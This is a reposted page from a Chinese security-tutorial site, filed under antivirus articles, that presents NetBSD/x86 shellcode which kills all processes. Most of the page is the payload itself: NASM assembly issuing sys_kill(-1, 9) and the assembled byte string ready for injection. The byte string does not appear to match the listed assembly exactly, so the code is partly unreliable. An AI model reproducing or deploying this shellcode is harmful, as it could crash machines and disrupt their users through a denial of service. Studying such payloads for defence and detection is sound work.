当前位置: 首页 > 图文教程 > 网络安全 > 杀毒防毒 > 杀掉进程的shellcode(netbsd/x86)

杀毒防毒
再次认识灰鸽子不可不知的病毒解决方案
“灰鸽子”病毒引争议 呼唤立法
剿灭手机病毒:熊猫烧香手机病毒现身
木马安全防护,你应该知道的基础知识
关于木马病毒的六种启动方式
四种检测硬盘及内存病毒的绝招
ANI艾妮病毒完整解决方案全解析
巧妙从进程中判断出病毒和木马
深入剖析 MY123流氓软件四种清除方法
Microsoft® Windows® 恶意软件删除工具
【反毒技术】查杀灰鸽子病毒--手工、新版、挡住、处理
关于查杀“灰鸽子2005”的一点建议
怎样挡住灰鸽子(Backdoor.Gpigeon)
关于HijackThis日志发现灰鸽子的处理方法
杀毒软件自我保护机制与木马对策
卡巴斯基几种比较实用的使用方法
主流计算机病毒对系统的破坏方式
如何应对杀除病毒时提示清除失败
用木马间谍杀手保护你的电脑
实际案例 隐藏的病毒文件清除全过程

杀毒防毒 中的 杀掉进程的shellcode(netbsd/x86)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-20   浏览: 52 ::
收藏到网摘: n/a

  /*

  netbsd/x86 kill all processes shellcode

  author Teo Manojlovic

  contact [email protected]

  this shellcode is using syscall number 37 or 0x25

  37 STD { int sys_kill(int pid, int signum); }

  here is assembler code using intel syntaxe and NASM

  --------------begin-----------

  section .note.netbsd.ident

  dd0x07,0x04,0x01

  db"NetBSD",0x00,0x00

  dd200000000

  section .data

  section .text

  global _start

  _start:

  xor eax, eax

  push 0x09

  mov eax, -1

  push eax

  xor eax,eax

  mov al, 37

  push eax

  int 0x80

  -------------------------end------------

  if we dissasemble this code wi will get shellcode

  "\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80"

  */